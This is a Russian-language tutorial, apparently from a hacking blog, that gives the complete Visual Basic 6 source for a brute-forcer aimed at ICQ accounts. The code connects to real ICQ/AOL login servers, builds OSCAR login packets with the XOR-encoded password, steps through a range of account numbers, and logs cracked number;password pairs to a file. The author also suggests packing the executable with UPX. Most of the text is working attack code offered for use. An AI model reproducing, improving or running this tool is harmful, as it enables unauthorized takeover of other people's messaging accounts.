Привет ребята и девчета =) Сегодня будем писать простенький однопоточный ICQ-брутфорс(программа для подбора паролей), работающий без прокси. Вы наверно понимаете что скокрость перебора будет достаточно низкой, ну и ладно, т.к. наша цель в первую очередь понять сам механиз работы такой программы. Писать будем на Visual Basic 6.0. Думаю что некоторые навыки программирования на этом языке вам понадобятся, т.к. программа не из простых. Итак, приступим =)
Запускаем Vb, Выбираем тип проекта - Standart EXE:
Ок. Теперь подумаем, через что наша программа будет работать с с сетью. Есть чудный OCX-контрол winsock, можно использовать его. Но иногда с ним возникают проблемы при запуске приложений на других компьютерах, поэтому мы будем использовать немного похожую штуку - контрол "тяга", который позволяет использовать tcp/ip подключение(принимать, оправлять байты, слушать порт, коннектиться и т.д.). Скачать его можно тут.
Дотаем контрол к проекту:
Размещаем элементы управления на форме:
Ну и, собственно, сам код:
Option Explicit 'отключаем автодекларацию переменных Const BRUTE_INTERVAL = 2000 'таймаут между попытками перебора пароля в мс Const ICQ_PORT = 5190 'icq порт Const SRV_COUNT = 6 'Количество ICQ серверов Dim Icq_SRV(1 To SRV_COUNT) As String 'Массив ICQ серверов Dim Current_SRV As Byte 'Хранит номер текущего ICQ сервера из массива ICQ_SRV Dim good, bad As Long 'Удалос подобрать/неудалос подобрать пасс
' // это для работы сборщика пакетов // Dim cli As Boolean 'Флаг, буыер сборки пуст-false,буфер заполняется-true Dim Flen, Mlen As Long 'Длина буфера/сколько уже собрано Dim MainBuff As String 'Сам буфер
Private Sub Form_Load() 'загрузка формы Dim buff As String 'Буфер для чтения файла Timer.Enabled = False 'отключаем таймер Timer.Interval = BRUTE_INTERVAL 'задаём интервал таймера Command1.Enabled = True 'Включаем кнопочку Стоп Command2.Enabled = False 'Выключаем кнопочку Старт 'Загрузим сохранённые настройкм If Dir(App.Path & "\settings.txt") <> "" Then 'Если файл с настройками есть Open App.Path & "\settings.txt" For Input As #1 'Открываем его Line Input #1, buff 'Читаем строку Text2 = buff 'Пишем в TextBox её содержимое Line Input #1, buff 'Читаем строку Text3 = buff 'Пишем в TextBox её содержимое Line Input #1, buff 'Читаем строку Text4 = buff 'Пишем в TextBox её содержимое Close #1 'Закрываем файл End If 'Конец условия ' // заполним массив ICQ серверов // Icq_SRV(1) = "login.icq.com" Icq_SRV(2) = "login.oscar.aol.com" Icq_SRV(3) = "ibucp-vip-d.blue.aol.com" Icq_SRV(4) = "ibucp-vip-m.blue.aol.com" Icq_SRV(5) = "bucp2-vip-m.blue.aol.com" Icq_SRV(6) = "bucp-m08.blue.aol.com" Current_SRV = 1 'Установим номер текущего сервера - 1 good = 0 'Обнулим счётчик GOOD-UIN'ов bad = 0 'Обнулим счётчик BAD-UIN'ов End Sub Private Sub Command1_Click() 'Кнопка Старт If Val(Text2) >= Val(Text3) Then Exit Sub 'Если ОТ меньше чем ДО то едем далее Command1.Enabled = False 'вырубаем кнопку старт Command2.Enabled = True 'Врубаем кнопку стоп Open App.Path & "\good.txt" For Append As #1 'открываем файл №1 для записи туда good Open App.Path & "\bad.txt" For Append As #2 'открываем файл №2 для записи туда bad Timer.Enabled = True 'Включаем таймер End Sub Private Sub Timer_Timer() 'Таймерчег socket.CloseConnection 'закрываем соединение socket.Connect Icq_SRV(Current_SRV), ICQ_PORT 'коннектимся к Autorization-server Current_SRV = Current_SRV + 1 'меняем сервер If Current_SRV = SRV_COUNT + 1 Then Current_SRV = 1 'проверим, ес сервера закончилис, то по новой End Sub Private Sub Command2_Click() 'кнопка Стоп Timer.Enabled = False 'Вырубаем таймер Text1 = "" 'Чистим Text1 good = 0 'обнуляем гуд bad = 0 'обнуляем бад Close #1 'закрываем файл с гуд Close #2 'закрываем файл с бад Command1.Enabled = True 'врубаем кнопку старт Command2.Enabled = False 'вырубаем кнопку стоп End Sub Private Sub socket_DataArrival(data As String) 'Если к нам пришли данные If cli = False Then 'Если буфер пуст Flen = GetFlapLen(data) 'определим длину флэпа Mlen = Flen + 6 'добавляем к длине длину 6-байтового заголовка флэпа cli = True 'включаем сбор пакетов MainBuff = data 'записываем первую порцию байт в буфер Else 'если сбор включен MainBuff = MainBuff + data 'добавим пакет к буферу Mlen = Mlen + Len(data) 'увеличим длину собранного End If 'проверим, не пора ли прекратить сбор пакетов If Mlen = Flen + 6 Then 'Если принято столько сколько должно быть(весь флэп-пакет) cli = False 'выключаем сборщег Flen = 0 'обнуляем счётчег длины Do 'прочекаем принятое на предмет флэпов (их там многа может быть) Flen = GetFlapLen(MainBuff) + 6 'смотрим длину FLAPPER (Mid$(MainBuff, 1, Flen)) 'отправляем флэп во флаппер(процедура обработки) MainBuff = Mid$(MainBuff, Flen + 1, Len(MainBuff) - Flen) 'отсекаем от буфера отправленный косочег Loop Until Len(MainBuff) = 0 'делаем пока буфер не опустошим MainBuff = "" ' на всёкий случай xD End If End Sub Private Sub FLAPPER(fData As String) 'Обработчег FLAP-пакетов Dim snac, pack, UIN, PASS As String 'строковые переменные If GetByte(fData, 2) = 1 Then 'если канал первый fData = GetFlapData(fData) 'Получаем содержимое флэпа If str2hex(fData) = "00000001" Then 'если пришол hello-пакет PASS = Text4 'Запоминаем текущий PASS UIN = Text2 'Запоминаем текущий UIN snac = hex2str("00000001") 'Формируем SNAC логина snac = snac + hex2str("000100") + Chr(Len(UIN)) + UIN 'TLV01 snac = snac + hex2str("000200") + Chr(Len(CalcPass(PASS))) + CalcPass(PASS) 'TLV02 snac = snac + hex2str("0003008") & "ICQbasic" 'клиент snac = snac + hex2str("00160002010A") '16й TLV snac = snac + hex2str("001700020018") 'нижняя граница версии протокола snac = snac + hex2str("001800020025") 'верхняя граница версии протокола snac = snac + hex2str("001900020001") ' snac = snac + hex2str("001A00020E90") ' snac = snac + hex2str("0014000400000055") ' snac = snac + hex2str("000F0002656E") 'язык (EN) snac = snac + hex2str("000E00027573") 'местонахождение(US) pack = hex2str("2A01") + Word2Str(Rnd * 32767) + Word2Str(Len(snac)) + snac 'формируем FLAP логина socket.SendData (pack) 'Отсылаем FLAP логина End If End If If GetByte(fData, 2) = 4 Then 'Если канал чётвёртый fData = GetFlapData(fData) 'Получаем содержимое флэпа If GetByte(fData, 2) = &H8E Then 'Ес удачно подобради good = good + 1 'добавляем good Print #1, Text2 & ";" & Text4 'пишкм в good.txt этот uin;pass incUIN 'ставим в текствокс следующий нумер End If If GetByte(fData, 2) = 1 Then 'Если серв постал нас с таким uin;pass bad = bad + 1 'Прибавляем bad Print #2, Text2 & ";" & Text4 'пишем в bad.txt этот uin;pass incUIN 'ставим в текстбокс следующий нум End If End If
'Пишем статистику в Text1 Text1 = "Server: " & Icq_SRV(Current_SRV) & vbCrLf & _ "good: " & good & vbCrLf & _ "bad: " & bad End Sub Private Sub incUIN() 'увеличивает UIN на 1 Text2 = Val(Text2) + 1 If Text2 = Text3 Then 'если пора остановится Command2_Click 'Эмулируем нажатие на стоп MsgBox "Брут закончен. Удалось подобрать " & good & " номеров." 'Сообщение End If End Sub Private Sub Command3_Click() 'Кнопка Exit Form_Unload (0) 'Эмулируем закрытие End Sub Private Sub Form_Unload(Cancel As Integer) 'Закрытие Command2_Click 'эмулируем нажатие на Стоп Open App.Path & "\settings.txt" For Output As #1 'Пишем настройки в файл settings.txt Print #1, Text2 Print #1, Text3 Print #1, Text4 Close #1 End 'Закрываемся End Sub
'--------------------- вспомогательные функции --------------- Private Function hex2str(ByVal data As String) As String 'Переводит набор типа "00FF3E" в строку Dim i As Integer For i = 1 To Len(data) Step 2 hex2str = hex2str & Chr(Val("&H" + Mid$(data, i, 2))) Next i End Function Private Function str2hex(ByVal Txt As String) As String 'Переводит байты строки в набор типа "АА3А00" Dim i As Integer Dim buff As String For i = 1 To Len(Txt) buff = Hex(GetByte(Txt, i)) If Len(buff) = 1 Then buff = "0" & buff str2hex = str2hex & buff Next i End Function Private Function GetFlapLen(flapdata As String) As Long 'Возвращает длину FLAP-пакета Dim HexBuff As String Dim byte1 As String * 2 Dim byte2 As String * 2 If GetByte(flapdata, 5) <> 0 Then byte1 = Hex(GetByte(flapdata, 5)) Else byte1 = "00" If GetByte(flapdata, 6) <> 0 Then byte2 = Hex(GetByte(flapdata, 6)) Else byte2 = "00" HexBuff = "&H" & byte1 & byte2 GetFlapLen = Val(HexBuff) End Function Private Function GetByte(Txt As String, num As Integer) As Byte 'возвращает значение какого-либа байта какой-либо строки GetByte = Asc(Mid$(Txt, num, 1)) End Function Private Function GetFlapData(flapdata As String) As String 'Возврящает содержимое FLAP-пакета (отрезает заголовок) GetFlapData = Mid$(flapdata, 7, Len(flapdata) - 6) End Function Private Function CalcPass(ByVal PASS As String) As String 'Делает XOR - пароль Dim passarr(1 To 16) As Byte Dim i As Byte passarr(1) = &HF3 passarr(2) = &H26 passarr(3) = &H81 passarr(4) = &HC4 passarr(5) = &H39 passarr(6) = &H86 passarr(7) = &HDB passarr(8) = &H92 passarr(9) = &H71 passarr(10) = &HA3 passarr(11) = &HB9 passarr(12) = &HE6 passarr(13) = &H53 passarr(14) = &H7A passarr(15) = &H95 passarr(16) = &H7C CalcPass = "" For i = 1 To Len(PASS) CalcPass = CalcPass & Chr(Asc(Mid$(PASS, i, 1)) Xor passarr(i)) Next i End Function Private Function GetHEX(ByVal Txt As String) As String 'Делает из байтов строки запись вида "00 АА А3 FF" Dim i As Integer Dim buff As String For i = 1 To Len(Txt) buff = Hex(GetByte(Txt, i)) If Len(buff) = 1 Then buff = "0" & buff GetHEX = GetHEX & buff & " " Next i End Function Private Function Word2Str(data As Long) As String 'Переводит 2-байтовую переменную в запись типа "0001" Dim i As Integer Dim buff As String buff = Hex(data) If Len(buff) = 1 Then buff = "000" + buff If Len(buff) = 2 Then buff = "00" + buff If Len(buff) = 3 Then buff = "0" + buff Word2Str = Chr(Val("&H" & Mid$(buff, 1, 2))) + Chr(Val("&H" & Mid$(buff, 3, 2))) End Function
Код можно было бы сделать компактнее, упростив обработчик пакетов, направляя все входящие данные сразу во FLAPPER, я не стал этого делать, т.к. это может повлиять на стабильность работы программы(а вдруг брут заступорится). Если не понимаете что тут за FLAP'ы и SNAC'и, читайте эту статейку. =) Чтобы понять как осуществляется проверка пакетов, советую посмотреть эти дампы.
Готово =) Вот эта зверушка в действии:
Размер EXE файла: 48 кб. Ес упаковать UPX, то 16 кб =)
